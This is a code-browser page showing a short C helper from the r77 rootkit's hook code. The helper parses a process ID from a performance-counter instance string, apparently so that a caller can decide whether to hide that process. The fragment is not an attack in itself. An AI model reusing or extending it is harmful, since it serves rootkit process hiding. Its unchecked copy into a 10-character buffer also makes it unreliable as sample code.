MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / GetProcessIdFromPdhString

Function GetProcessIdFromPdhString

r77/Hooks.c:1175–1197  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1173 return FALSE;
1174}
1175static DWORD GetProcessIdFromPdhString(LPCWSTR str)
1176{
1177 // Parses a process ID from this type of string:
1178 // "pid_1234_luid_0x00000000_0x0000C9DE_phys_0_eng_0_engtype_3D"
1179
1180 if (!StrCmpNW(str, L"pid_", 4))
1181 {
1182 str = &str[4];
1183 PWSTR endIndex = StrChrW(str, L'_');
1184 if (endIndex)
1185 {
1186 WCHAR pidString[10];
1187
1188 DWORD strLength = endIndex - str;
1189 i_wmemcpy(pidString, str, strLength);
1190 pidString[strLength] = L'\0';
1191
1192 return StrToIntW(pidString);
1193 }
1194 }
1195
1196 return 0;
1197}

Callers 1

GetIsHiddenFromPdhStringFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected